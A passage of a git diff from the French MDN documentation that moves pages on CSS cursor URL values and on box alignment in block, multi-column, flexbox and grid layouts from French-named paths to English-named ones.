cursor: url(toto.cur), url(http://www.exemple.org/truc.gif), auto;
+
+ +

En utilisant cette règle, le moteur essaiera d'abord de charger toto.cur. Si ce fichier n'existe pas ou si, pour une autre raison, l'URL n'est pas valable, ce sera celle de truc.gif qui sera essayée. Si cette valeur ne peut pas être utilisée non plus, le curseur correspondant à la valeur auto sera utilisé.

+ +

Le support de la syntaxe CSS3 pour les valeurs du curseur a été ajoutée à partir de Firefox 1.5.

+ +
{{CSSxRef("cursor")}}: [ {{CSSxRef("<uri>")}} [ <x> <y> ]? , ]* {{CSSxRef("cursor", "<keyword>", "#Valeurs")}}
+
+ +

Cette syntaxe permet d'indiquer les coordonnées des points chauds du curseur qui seront maintenues aux frontières de l'image du curseur. Si aucun n'est indiqué, les coordonnées du point chaud sont lus à partir du fichier lui-même (pour les fichier CUR et XBM) ou sont réglés au coin supérieur gauche de l'image. Un exemple de la syntaxe CSS3 est:

+ +
cursor: url(toto.png) 4 12, auto;
+
+ +

Le premier nombre est la coordonnée x, le second numéro est la coordonnée y. L'exemple va régler le point chaud afin d'être le pixel (4,12) par rapport au (0,0) en haut à gauche.

+ +

Limitations

+ +

Tous les formats d'image pris en charge par Gecko peuvent être utilisés : PNG, GIF, JPG, BMP, CUR, etc. Le format ANI n'est pas pris en charge et les images animées PNG ou GIF ne créeront pas de curseurs animés.

+ +
+

Note : À partir de Gecko 2.0 {{geckoRelease("2.0")}}, Gecko prend en charge les images SVG pour les curseurs. Mais les dimensions de l'image SVG doivent être explicites et non relative. Les instructions JavaScript ou CSS, les déclarations SMIL contenues dans l'image SVG sont ignorées. SVG ne peut donc pas être utilisé pour créer un curseur animé.

+
+ +

Pour Gecko, la taille limite des curseurs est 128 pixels par 128 pixels. Les images plus grandes seront ignorées. Toutefois, certains systèmes d'exploitation sont limités à des images de 32 pixels par 32 pixels.

+ +

Les curseurs translucides ne sont pas pris en charge par Windows avant Windows XP.

+ +

Compatibilité des navigateurs

+ +

Microsoft Internet Explorer 6.0 prend également en charge les valeurs URI pour la propriété cursor. Toutefois :

+ +
    +
  • IE ne prend en charge que les formats CUR et ANI
    • +
  • IE ne prend pas en charge la syntaxe CSS3 avec les coordonnées x et y. L'image du curseur et le reste de la propriété sont alors ignorés.
    • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NavigateurVersion minimumFormatsCoordonnées x-y
Internet Explorer6.0.cur | .ani---
Firefox (Gecko), Windows et Linux1.5 (1.8).cur | .png | .gif | .jpg1.5 (1.8)
Firefox (Gecko)4.0 (2.0).cur | .png | .gif | .jpg | .svg(Gecko 2.0)
Opera---------
Safari (Webkit)3.0 (522-523).cur | .png | .gif | .jpg3.0 (522-523)
OS X 10.5 pour la prise en charge des fichiers .cur
diff --git "a/files/fr/web/css/css_basic_user_interface/utilisation_d_url_pour_la_propri\303\251t\303\251_cursor/index.html" "b/files/fr/web/css/css_basic_user_interface/utilisation_d_url_pour_la_propri\303\251t\303\251_cursor/index.html" deleted file mode 100644 index 69b0043c13..0000000000 --- "a/files/fr/web/css/css_basic_user_interface/utilisation_d_url_pour_la_propri\303\251t\303\251_cursor/index.html" +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Utilisation d'URL pour la propriété cursor -slug: Web/CSS/CSS_Basic_User_Interface/Utilisation_d_URL_pour_la_propriété_cursor -tags: - - CSS - - Débutant - - Guide -translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property ---- -
{{CSSRef}}
- -

Gecko 1.8 ({{geckoRelease("1.8")}} prend en charge des valeurs d'URL pour manipuler la propriété {{cssxref("cursor")}}. Ceci permet de définir des images arbitraires comme curseurs de souris — n'importe quel format d'image géré par Gecko peut être utilisé.

- -

Syntaxe

- -

La syntaxe de base (CSS 2.1) pour cette propriété est :

- -
{{CSSxRef("cursor")}}: [ {{CSSxRef("<url>")}} , ]* {{CSSxRef("cursor", "<keyword>", "#Valeurs")}}
- -

Ceci signifie que zéro URL ou plus peuvent être définies en étant séparées par des virgules et doivent être suivies par un des mots-clés comme auto ou pointer.

- -

On pourra ainsi utiliser :

- -
cursor: url(toto.cur), url(http://www.exemple.org/truc.gif), auto;
-
- -

En utilisant cette règle, le moteur essaiera d'abord de charger toto.cur. Si ce fichier n'existe pas ou si, pour une autre raison, l'URL n'est pas valable, ce sera celle de truc.gif qui sera essayée. Si cette valeur ne peut pas être utilisée non plus, le curseur correspondant à la valeur auto sera utilisé.

- -

Le support de la syntaxe CSS3 pour les valeurs du curseur a été ajoutée à partir de Firefox 1.5.

- -
{{CSSxRef("cursor")}}: [ {{CSSxRef("<uri>")}} [ <x> <y> ]? , ]* {{CSSxRef("cursor", "<keyword>", "#Valeurs")}}
-
- -

Cette syntaxe permet d'indiquer les coordonnées des points chauds du curseur qui seront maintenues aux frontières de l'image du curseur. Si aucun n'est indiqué, les coordonnées du point chaud sont lus à partir du fichier lui-même (pour les fichier CUR et XBM) ou sont réglés au coin supérieur gauche de l'image. Un exemple de la syntaxe CSS3 est:

- -
cursor: url(toto.png) 4 12, auto;
-
- -

Le premier nombre est la coordonnée x, le second numéro est la coordonnée y. L'exemple va régler le point chaud afin d'être le pixel (4,12) par rapport au (0,0) en haut à gauche.

- -

Limitations

- -

Tous les formats d'image pris en charge par Gecko peuvent être utilisés : PNG, GIF, JPG, BMP, CUR, etc. Le format ANI n'est pas pris en charge et les images animées PNG ou GIF ne créeront pas de curseurs animés.

- -
-

Note : À partir de Gecko 2.0 {{geckoRelease("2.0")}}, Gecko prend en charge les images SVG pour les curseurs. Mais les dimensions de l'image SVG doivent être explicites et non relative. Les instructions JavaScript ou CSS, les déclarations SMIL contenues dans l'image SVG sont ignorées. SVG ne peut donc pas être utilisé pour créer un curseur animé.

-
- -

Pour Gecko, la taille limite des curseurs est 128 pixels par 128 pixels. Les images plus grandes seront ignorées. Toutefois, certains systèmes d'exploitation sont limités à des images de 32 pixels par 32 pixels.

- -

Les curseurs translucides ne sont pas pris en charge par Windows avant Windows XP.

- -

Compatibilité des navigateurs

- -

Microsoft Internet Explorer 6.0 prend également en charge les valeurs URI pour la propriété cursor. Toutefois :

- -
    -
  • IE ne prend en charge que les formats CUR et ANI
    • -
  • IE ne prend pas en charge la syntaxe CSS3 avec les coordonnées x et y. L'image du curseur et le reste de la propriété sont alors ignorés.
    • -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NavigateurVersion minimumFormatsCoordonnées x-y
Internet Explorer6.0.cur | .ani---
Firefox (Gecko), Windows et Linux1.5 (1.8).cur | .png | .gif | .jpg1.5 (1.8)
Firefox (Gecko)4.0 (2.0).cur | .png | .gif | .jpg | .svg(Gecko 2.0)
Opera---------
Safari (Webkit)3.0 (522-523).cur | .png | .gif | .jpg3.0 (522-523)
OS X 10.5 pour la prise en charge des fichiers .cur
diff --git "a/files/fr/web/css/css_box_alignment/alignement_bo\303\256tes_disposition_bloc_absolue_tableau/index.html" "b/files/fr/web/css/css_box_alignment/alignement_bo\303\256tes_disposition_bloc_absolue_tableau/index.html" deleted file mode 100644 index 45945b3040..0000000000 --- "a/files/fr/web/css/css_box_alignment/alignement_bo\303\256tes_disposition_bloc_absolue_tableau/index.html" +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: 'L''alignement des boîtes pour les dispositions : en bloc, absolue, en tableau' -slug: Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_bloc_absolue_tableau -tags: - - CSS - - Guide -translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_In_Block_Abspos_Tables ---- -
{{CSSRef}}
- -

Le module de spécification Box Alignment détaille le fonctionnement de l'alignement selon les différentes méthodes de disposition. Dans cet article, nous verrons comment fonctionne l'alignement des boîtes dans une disposition en bloc, y compris pour les éléments flottants, les éléments positionnés et les tableaux. Cette page détaille les aspects spécifiques relatifs à l'alignement et à la disposition en bloc. Pour une description générale des fonctionnalités communes pour les différentes dispositions, voir la page principale sur cette spécification.

- -
-

Note : À l'heure où cet article est écrit (juin 2018), il n'y a pas de réelle prise en charge des propriétés d'alignement pour la disposition en bloc. Ce document détaille les intentions de la spécification dans un souci d'exhaustivité mais il est probable que des modifications soient apportées au fur et à mesure de l'évolution de la spécification et de l'implémentation par les navigateurs.

-
- -

align-content et justify-content

- -

La propriété {{cssxref("justify-content")}} ne s'applique pas aux conteneurs en bloc ou aux cellules de tableau.

- -

La propriété {{cssxref("align-content")}} s'applique sur l'axe de bloc afin d'aligne les contenus de la boîte dans le conteneur. Si une méthode de distribution telle que space-between, space-around ou space-evenly est utilisée, c'est la méthode de recours qui sera utilisée car tout le contenu est considéré comme un seul sujet d'alignement.

- -

justify-self

- -

La propriété {{cssxref("justify-self")}} est utilisée afin d'aligner un objet au sein de son bloc englobant selon l'axe en ligne.

- -

Cette propriété ne s'applique pas aux éléments flottants ou aux cellules de tableau.

- -

Éléments positionnés de façon absolue

- -

Le conteneur d'alignement correspond au bloc positionné en prenant en compte les valeurs de décalage top, left, bottom et right. Le mot-clé normal est considéré équivalent à stretch sauf si l'élément positionné est un élément remplacé, auquel cas il est équivalent à start.

- -

align-self

- -

La propriété {{cssxref("align-self")}} ne s'applique pas aux boîtes de bloc (y compris pour les éléments flottants) car il y a plus d'un objet sur l'axe de bloc. Elle ne s'applique pas non plus aux cellules des tableaux.

- -

Éléments positionnés de façon absolue

- -

Le conteneur d'alignement correspond au bloc positionné en prenant en compte les valeurs de décalage top, left, bottom et right. Le mot-clé normal est considéré équivalent à stretch sauf si l'élément positionné est un élément remplacé, auquel cas il est équivalent à start.

- -

Utilisation actuelle de l'alignement pour ces dispositions

- -

À l'heure actuelle, les navigateurs n'implémentent pas l'alignement des boîtes pour la disposition en bloc. Il faut donc, pour le moment, utiliser les méthodes existantes ou placer un élément dans un conteneur flexible afin de tirer parti des fonctionnalités d'alignement des boîtes flexibles.

- -

Avant l'apparition des boîtes flexibles (flexbox), l'alignement horizontal était généralement obtenu avec des marges automatiques. En effet, {{cssxref("margin")}} avec auto absorbera tout l'espace disponible sur la dimension souhaité et avec une marge droite et une marge gauche automatiques, le bloc sera placé au centre :

- -
.container {
-  width: 20em;
-  margin-left: auto;
-  margin-right: auto;
-}
-
- -

Dans une disposition en tableau, il faut accéder à la propriété {{cssxref("vertical-align")}} afin d'aligner le contenu d'une cellule dans celle-ci.

- -

Pour de nombreux scénarios, transformer le conteneur de bloc en élément flexible fournira les options d'alignement souhaitées. Dans l'exemple qui suit, on dispose d'un conteneur avec un seul élément et ce conteneur a été transformé en élément flexible afin d'utiliser les propriétés d'alignement.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/intro.html", '100%', 700)}}

- -

Référence

- -

Propriétés CSS

- -
    -
  • {{cssxref("justify-content")}}
    • -
  • {{cssxref("align-content")}}
    • -
  • {{cssxref("justify-self")}}
    • -
  • {{cssxref("align-self")}}
    • -
- -

Termes du glossaire

- - diff --git "a/files/fr/web/css/css_box_alignment/alignement_bo\303\256tes_disposition_colonnes/index.html" "b/files/fr/web/css/css_box_alignment/alignement_bo\303\256tes_disposition_colonnes/index.html" deleted file mode 100644 index 36bee5640e..0000000000 --- "a/files/fr/web/css/css_box_alignment/alignement_bo\303\256tes_disposition_colonnes/index.html" +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: L'alignement des boîtes avec une disposition en colonnes -slug: Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_colonnes -tags: - - CSS - - Guide -translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Multi-column_Layout ---- -
{{CSSRef}}
- -

Le module de spécification Box Alignment détaille le fonctionnement de l'alignement selon les différentes méthodes de disposition. Dans cet article, nous verrons comment fonctionne l'alignement des boîtes avec une disposition multi-colonnes. Cette page détaille les aspects spécifiques relatifs à l'alignement et au module Multi-Column Layout. Pour une description générale des fonctionnalités communes pour les différentes dispositions, voir la page principale sur cette spécification.

- -

Pour une disposition en colonne, le conteneur d'alignement est le conteneur de colonnes. Le sujet d'alignement correspond à la boîte de colonne. Les propriétés qui s'appliquent pour ce type de disposition sont détaillées ci-après.

- -
-

Note : Le module de spécification de la disposition en colonnes (Multi-Column Layout) précède celui pour l'alignement des boîtes. Aussi, certaines des propriétés décrites ici, bien que spécifiées afin de fonctionner pour ce mode de disposition, peuvent ne pas encore être prises en charge par les navigateurs.

-
- -

align-content et justify-content

- -

La propriété {{cssxref("align-content")}} s'applique à l'axe de bloc et la propriété {{cssxref("justify-content")}} s'applique à l'axe en ligne. Tout espace ajouté entre les colonnes selon la distribution choisie sera ajouté entre les colonnes. Les gouttières pourront donc être plus larges que celles indiquées par la propriété {{cssxref("column-gap")}}.

- -

Utiliser justify-content avec une valeur différente de normal ou stretch entraînera un dimensionnement des colonnes avec la valeur de {{cssxref("column-width")}}, définie sur le conteneur multi-colonnes. L'espace restant sera alors réparti selon la valeur de justify-content.

- -

column-gap

- -

La propriété {{cssxref("column-gap")}} a été définie dans des versions antérieures du module de spécification pour la disposition multi-colonne. Son rôle a été généralisé avec les autres propriétés d'espacement dans le module d'alignement des boîtes.

- -

On notera que, si les autres modes de disposition utilisent une valeur initiale de 0 pour column-gap, la disposition multi-colonne utilise une valeur initiale de 1em.

- -

Référence

- -

Propriétés CSS

- -
-
    -
  • {{cssxref("justify-content")}}
    • -
  • {{cssxref("align-content")}}
    • -
  • {{cssxref("column-gap")}}
    • -
-
- -

Termes du glossaire

- -
- -
diff --git "a/files/fr/web/css/css_box_alignment/alignement_bo\303\256tes_disposition_flexbox/index.html" "b/files/fr/web/css/css_box_alignment/alignement_bo\303\256tes_disposition_flexbox/index.html" deleted file mode 100644 index 8acebc248d..0000000000 --- "a/files/fr/web/css/css_box_alignment/alignement_bo\303\256tes_disposition_flexbox/index.html" +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: L'alignement des boîtes avec Flexbox -slug: Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_Flexbox -tags: - - CSS - - Guide - - flexbox -translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox ---- -
{{CSSRef}}
- -

Le module de spécification Box Alignment détaille le fonctionnement de l'alignement selon les différentes méthodes de disposition. Dans cet article, nous verrons comment fonctionne l'alignement des boîtes avec les boîtes flexibles (flexbox). Cette page détaille les aspects spécifiques relatifs à l'alignement et aux boîtes flexibles. Pour une description générale des fonctionnalités communes pour les différentes dispositions, voir la page principale sur cette spécification.

- -

Exemple simple

- -

Dans cet exemple, trois objets flexibles sont alignés sur l'axe principal avec {{cssxref("justify-content")}} et sur l'axe secondaire grâce à {{cssxref("align-items")}}. Le premier objet surcharge l'alignement fourni par align-itemsen utilisant center comme valeur pour la propriété {{cssxref("align-self")}}.

- -

{{EmbedGHLiveSample("css-examples/box-alignment/overview/flex-align-items.html", '100%', 500)}}

- -

Liens entre les axes et flex-direction

- -

Les boîtes flexibles respectent le mode d'écriture du document. Aussi, si on travaille sur un document en français et qu'on utilise {{cssxref("justify-content")}} avec flex-end, les éléments seront alignés à la fin du conteneur flexible. Si on utilise {{cssxref("flex-direction")}} avec la valeur row, cet alignement suivra la direction en ligne (celle selon laquelle le texte est écrit).

- -

Toutefois, Flexbox permet de modifier l'axe principal en utilisant flex-direction avec la valeur column. Dans ce cas, justify-content alignera les objets selon la direction de bloc. Aussi, mieux vaut penser en termes d'axes principal (main axis) et d'axe secondaire (cross axis) lorsqu'on travaille sur des boîtes flexibles :

- -
    -
  • L'axe principal correspond à la direction fournie par flex-direction et l'alignement sur cet axe s'effectue avec justify-content
    • -
  • L'axe secondaire est orthogonal à l'axe principal et l'alignement s'effectue avec align-content, align-self/align-items
    • -
- -

Alignement sur l'axe principal

- -
    -
  • {{cssxref("justify-content")}}
    • -
- -

Alignement sur l'axe secondaire

- -
    -
  • {{cssxref("align-self")}}
    • -
  • {{cssxref("align-items")}}
    • -
  • {{cssxref("align-content")}}
    • -
- -

Absence de justify-self pour Flexbox

- -

Sur l'axe principal et avec les boîtes flexibles, le contenu est considéré comme un seul groupe. La quantité d'espace nécessaire est calculée pour disposer les différents éléments et l'espace restant peut être réparti. La propriété justify-content contrôle la répartition de cet espace. Avec justify-content: flex-end, l'espace supplémentaire sera ajouté avant les éléments et avec justify-content: space-around, il sera placé de chaque côté.

- -

Autrement dit, justify-self n'a pas de sens pour les boîtes flexibles car le contenu est considéré comme un seul « tenant » qui est déplacé.

- -

Pour l'axe secondaire, align-self peut être pertinent car il peut y avoir un espace supplémentaire sur cet axe et selon lequel on peut déplacer un seul des éléments.

- -

Alignement et marges automatiques

- -

justify-self pourrait être utile lorsqu'on souhaite séparer un ensemble d'éléments flexibles pour créer un menu de navigation. Dans ce cas, on peut utiliser des marges automatiques avec auto. En effet, une marge avec cette valeur consommera tout l'espace disponible sur cette dimension. En définissant les marges gauche et droite avec auto, les deux côtés du bloc occuperont tout l'espace disponible et la boîte sera alors placée au centre.

- -

En utilisant {{cssxref("margin")}} avec auto sur un élément d'un ensemble d'éléments flexibles alignés vers le début, on peut créer un tel effet. Dès qu'il n'y a plus d'espace disponible pour les marges automatiques, l'objet se comporte comme les autres objets flexibles et se réduit pour s'inscrire dans l'espace disponible.

- -

{{EmbedGHLiveSample("css-examples/box-alignment/flexbox/auto-margins.html", '100%', 500)}}

- -

Les propriétés gap

- -
    -
  • {{cssxref("row-gap")}}
    • -
  • {{cssxref("column-gap")}}
    • -
  • {{cssxref("gap")}}
    • -
- -

Créer des gouttières fixes entre chaque objet

- -

Sur l'axe principal, la propriété column-gap permettra de créer des gouttières de taille fixe de chaque côté de l'objet.

- -

Sur l'axe secondaire, row-gap permettra d'espace les lignes adjacentes. Aussi, il faut que flex-wrap vaille wrap afin que row-gap ait un effet.

- -
-

Note : À l'heure où ces lignes sont écrites, seul Firefox 63 prend en charge les propriétés gap pour les boîtes flexibles. En effet, le comportement de ces propriétés pour les dispositions flexibles est un ajout récent à la spécification.

-
- -

Référence

- -

Propriétés CSS

- -
-
    -
  • {{cssxref("justify-content")}}
    • -
  • {{cssxref("align-content")}}
    • -
  • {{cssxref("place-content")}}t
    • -
  • {{cssxref("justify-items")}}
    • -
  • {{cssxref("align-items")}}
    • -
  • {{cssxref("place-items")}}
    • -
  • {{cssxref("align-self")}}
    • -
  • {{cssxref("row-gap")}}
    • -
  • {{cssxref("column-gap")}}
    • -
  • {{cssxref("gap")}}
    • -
-
- -

Termes du glossaire

- -
- -
- -

Guides

- - - -

Ressources externes

- - diff --git "a/files/fr/web/css/css_box_alignment/alignement_bo\303\256tes_disposition_grille/index.html" "b/files/fr/web/css/css_box_alignment/alignement_bo\303\256tes_disposition_grille/index.html" deleted file mode 100644 index 4adf375ac4..0000000000 --- "a/files/fr/web/css/css_box_alignment/alignement_bo\303\256tes_disposition_grille/index.html" +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: L'alignement des boîtes avec une grille CSS -slug: Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_grille -tags: - - CSS - - CSS Grid - - Grilles CSS - - Guide -translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_In_Grid_Layout ---- -
{{CSSRef}}
- -

Le module de spécification Box Alignment détaille le fonctionnement de l'alignement selon les différentes méthodes de disposition. Dans cet article, nous verrons comment fonctionne l'alignement des boîtes avec les grilles CSS. Cette page détaille les aspects spécifiques relatifs à l'alignement et aux grilles. Pour une description générale des fonctionnalités communes pour les différentes dispositions, voir la page principale sur cette spécification.

- -

Exemple simple

- -

Dans l'exemple qui suit, on utilise une disposition en grille et le conteneur possède un espace restant après avoir disposé les pistes à largeur fixe le long de l'axe en ligne. L'espace restant est distribué grâce à la propriété justify-content. Le long de l'axe secondaire, les éléments sont alignés au sein de leurs zones avec la propriété align-items. Le premier objet surcharge la valeur fournie par align-items en utilisant align-self avec la valeur center.

- -

{{EmbedGHLiveSample("css-examples/box-alignment/overview/grid-align-items.html", '100%', 500)}}

- -

Axes de la grille

- -

La grille est une méthode de disposition sur deux dimensions.

- -

L'axe en ligne correspond à l'axe selon lequel les mots d'une phrase sont écrits pour le mode d'écriture utilisé. Ainsi, pour une langue écrite horizontalement (comme le français ou l'arabe), l'axe en ligne sera horizontal. Pour les modes d'écriture verticaux, cet axe sera vertica.

- -

- -

Pour aligner des éléments selon l'axe en ligne, on utilisera les propriétés commençant par justify- : {{cssxref("justify-content")}}, {{cssxref("justify-items")}} et {{cssxref("justify-self")}}.

- -

L'axe de bloc est orthogonal à l'axe en ligne et évolue dans le sens où les blocs sont affichés sur la page (en français, par exemple, les blocs sont disposés de bas en haut).

- -

Pour aligner des éléments sur l'axe de bloc, on utilisera les propriétés commençant par align- : {{cssxref("align-content")}}, {{cssxref("align-items")}} et {{cssxref("align-self")}}.

- -

- -

Alignement individuel

- -
    -
  • {{cssxref("justify-self")}}
    • -
  • {{cssxref("align-self")}}
    • -
  • {{cssxref("place-self")}}
    • -
  • {{cssxref("justify-items")}}
    • -
  • {{cssxref("align-items")}}
    • -
  • {{cssxref("place-items")}}
    • -
- -

Ces propriétés permettent d'aligner individuellement chacun des éléments au sein de leur zone de grille. Les propriétés align-items et justify-items sont appliquées au conteneur de grille et définissent align-self et justify-self pour l'ensemble des sujets d'alignement. Cela signifie qu'on peut indiquer un alignement global au niveau du conteneur puis surcharger cette règle au cas par cas si besoin en utilisant align-self ou justify-self sur les éléments souhaités.

- -

Les valeurs initiales pour align-self et justify-self sont stretch. Aussi, l'objet sera étiré sur toute la zone de grille qui lui est dédié. Une exception est apportée à cette règle lorsque l'élément possède des proportions intrinsèques (une image par exemple) ; dans ce cas, l'élément est aligné avec startsur les deux axes et l'élément n'est pas déformé.

- -

Alignement du contenu

- -
    -
  • {{cssxref("justify-content")}}
    • -
  • {{cssxref("align-content")}}
    • -
  • {{cssxref("place-content")}}
    • -
- -

Ces propriétés indiquent comment aligner les pistes de la grille lorsqu'il reste de l'espace à répartir. Ce scénario se produit uniquement si la somme des tailles des pistes est inférieure à la taille du conteneur de grille.

- -

Gouttières et versions préfixées des propriétés

- -
    -
  • {{cssxref("row-gap")}}
    • -
  • {{cssxref("column-gap")}}
    • -
  • {{cssxref("gap")}}
    • -
  • {{cssxref("grid-row-gap")}}
    • -
  • {{cssxref("grid-column-gap")}}
    • -
  • {{cssxref("grid-gap")}}
    • -
- -

La spécification sur les grilles contenaient initialement les définitions des propriétés {{cssxref("grid-row-gap")}}, {{cssxref("grid-column-gap")}} et {{cssxref("grid-gap")}}. Les définitions de ces propriétés ont depuis été déplacées dans le module de spécification Box Alignment et ont respectivement été renommées en {{cssxref("row-gap")}}, {{cssxref("column-gap")}} et {{cssxref("gap")}}. Ainsi, elles peuvent être utilisées pour d'autres méthodes de disposition où les gouttières sont pertinentes.

- -

À l'heure actuelle (juin 2018), seul Microsoft Edge prend en charge les versions non-préfixées pour ces propriétés. Il vaut donc mieux utiliser les deux versions (avec puis sans préfixe grid-) afin d'assurer une meilleure compatibilité.

- -

Référence

- -

Propriétés CSS

- -
-
    -
  • {{cssxref("justify-content")}}
    • -
  • {{cssxref("align-content")}}
    • -
  • {{cssxref("place-content")}}t
    • -
  • {{cssxref("justify-items")}}
    • -
  • {{cssxref("align-items")}}
    • -
  • {{cssxref("place-items")}}
    • -
  • {{cssxref("justify-self")}}
    • -
  • {{cssxref("align-self")}}
    • -
  • {{cssxref("place-self")}}
    • -
  • {{cssxref("row-gap")}}
    • -
  • {{cssxref("column-gap")}}
    • -
  • {{cssxref("gap")}}
    • -
-
- -

Termes du glossaire

- -
- -
- -

Guides

- - - -

Ressources externes

- - diff --git a/files/fr/web/css/css_box_alignment/box_alignment_in_block_abspos_tables/index.html b/files/fr/web/css/css_box_alignment/box_alignment_in_block_abspos_tables/index.html new file mode 100644 index 0000000000..45945b3040 --- /dev/null +++ b/files/fr/web/css/css_box_alignment/box_alignment_in_block_abspos_tables/index.html @@ -0,0 +1,77 @@ +--- +title: 'L''alignement des boîtes pour les dispositions : en bloc, absolue, en tableau' +slug: Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_bloc_absolue_tableau +tags: + - CSS + - Guide +translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_In_Block_Abspos_Tables +--- +
{{CSSRef}}
+ +

Le module de spécification Box Alignment détaille le fonctionnement de l'alignement selon les différentes méthodes de disposition. Dans cet article, nous verrons comment fonctionne l'alignement des boîtes dans une disposition en bloc, y compris pour les éléments flottants, les éléments positionnés et les tableaux. Cette page détaille les aspects spécifiques relatifs à l'alignement et à la disposition en bloc. Pour une description générale des fonctionnalités communes pour les différentes dispositions, voir la page principale sur cette spécification.

+ +
+

Note : À l'heure où cet article est écrit (juin 2018), il n'y a pas de réelle prise en charge des propriétés d'alignement pour la disposition en bloc. Ce document détaille les intentions de la spécification dans un souci d'exhaustivité mais il est probable que des modifications soient apportées au fur et à mesure de l'évolution de la spécification et de l'implémentation par les navigateurs.

+
+ +

align-content et justify-content

+ +

La propriété {{cssxref("justify-content")}} ne s'applique pas aux conteneurs en bloc ou aux cellules de tableau.

+ +

La propriété {{cssxref("align-content")}} s'applique sur l'axe de bloc afin d'aligne les contenus de la boîte dans le conteneur. Si une méthode de distribution telle que space-between, space-around ou space-evenly est utilisée, c'est la méthode de recours qui sera utilisée car tout le contenu est considéré comme un seul sujet d'alignement.

+ +

justify-self

+ +

La propriété {{cssxref("justify-self")}} est utilisée afin d'aligner un objet au sein de son bloc englobant selon l'axe en ligne.

+ +

Cette propriété ne s'applique pas aux éléments flottants ou aux cellules de tableau.

+ +

Éléments positionnés de façon absolue

+ +

Le conteneur d'alignement correspond au bloc positionné en prenant en compte les valeurs de décalage top, left, bottom et right. Le mot-clé normal est considéré équivalent à stretch sauf si l'élément positionné est un élément remplacé, auquel cas il est équivalent à start.

+ +

align-self

+ +

La propriété {{cssxref("align-self")}} ne s'applique pas aux boîtes de bloc (y compris pour les éléments flottants) car il y a plus d'un objet sur l'axe de bloc. Elle ne s'applique pas non plus aux cellules des tableaux.

+ +

Éléments positionnés de façon absolue

+ +

Le conteneur d'alignement correspond au bloc positionné en prenant en compte les valeurs de décalage top, left, bottom et right. Le mot-clé normal est considéré équivalent à stretch sauf si l'élément positionné est un élément remplacé, auquel cas il est équivalent à start.

+ +

Utilisation actuelle de l'alignement pour ces dispositions

+ +

À l'heure actuelle, les navigateurs n'implémentent pas l'alignement des boîtes pour la disposition en bloc. Il faut donc, pour le moment, utiliser les méthodes existantes ou placer un élément dans un conteneur flexible afin de tirer parti des fonctionnalités d'alignement des boîtes flexibles.

+ +

Avant l'apparition des boîtes flexibles (flexbox), l'alignement horizontal était généralement obtenu avec des marges automatiques. En effet, {{cssxref("margin")}} avec auto absorbera tout l'espace disponible sur la dimension souhaité et avec une marge droite et une marge gauche automatiques, le bloc sera placé au centre :

+ +
.container {
+  width: 20em;
+  margin-left: auto;
+  margin-right: auto;
+}
+
+ +

Dans une disposition en tableau, il faut accéder à la propriété {{cssxref("vertical-align")}} afin d'aligner le contenu d'une cellule dans celle-ci.

+ +

Pour de nombreux scénarios, transformer le conteneur de bloc en élément flexible fournira les options d'alignement souhaitées. Dans l'exemple qui suit, on dispose d'un conteneur avec un seul élément et ce conteneur a été transformé en élément flexible afin d'utiliser les propriétés d'alignement.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/intro.html", '100%', 700)}}

+ +

Référence

+ +

Propriétés CSS

+ +
    +
  • {{cssxref("justify-content")}}
    • +
  • {{cssxref("align-content")}}
    • +
  • {{cssxref("justify-self")}}
    • +
  • {{cssxref("align-self")}}
    • +
+ +

Termes du glossaire

+ + diff --git a/files/fr/web/css/css_box_alignment/box_alignment_in_flexbox/index.html b/files/fr/web/css/css_box_alignment/box_alignment_in_flexbox/index.html new file mode 100644 index 0000000000..8acebc248d --- /dev/null +++ b/files/fr/web/css/css_box_alignment/box_alignment_in_flexbox/index.html @@ -0,0 +1,119 @@ +--- +title: L'alignement des boîtes avec Flexbox +slug: Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_Flexbox +tags: + - CSS + - Guide + - flexbox +translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox +--- +
{{CSSRef}}
+ +

Le module de spécification Box Alignment détaille le fonctionnement de l'alignement selon les différentes méthodes de disposition. Dans cet article, nous verrons comment fonctionne l'alignement des boîtes avec les boîtes flexibles (flexbox). Cette page détaille les aspects spécifiques relatifs à l'alignement et aux boîtes flexibles. Pour une description générale des fonctionnalités communes pour les différentes dispositions, voir la page principale sur cette spécification.

+ +

Exemple simple

+ +

Dans cet exemple, trois objets flexibles sont alignés sur l'axe principal avec {{cssxref("justify-content")}} et sur l'axe secondaire grâce à {{cssxref("align-items")}}. Le premier objet surcharge l'alignement fourni par align-itemsen utilisant center comme valeur pour la propriété {{cssxref("align-self")}}.

+ +

{{EmbedGHLiveSample("css-examples/box-alignment/overview/flex-align-items.html", '100%', 500)}}

+ +

Liens entre les axes et flex-direction

+ +

Les boîtes flexibles respectent le mode d'écriture du document. Aussi, si on travaille sur un document en français et qu'on utilise {{cssxref("justify-content")}} avec flex-end, les éléments seront alignés à la fin du conteneur flexible. Si on utilise {{cssxref("flex-direction")}} avec la valeur row, cet alignement suivra la direction en ligne (celle selon laquelle le texte est écrit).

+ +

Toutefois, Flexbox permet de modifier l'axe principal en utilisant flex-direction avec la valeur column. Dans ce cas, justify-content alignera les objets selon la direction de bloc. Aussi, mieux vaut penser en termes d'axes principal (main axis) et d'axe secondaire (cross axis) lorsqu'on travaille sur des boîtes flexibles :

+ +
    +
  • L'axe principal correspond à la direction fournie par flex-direction et l'alignement sur cet axe s'effectue avec justify-content
    • +
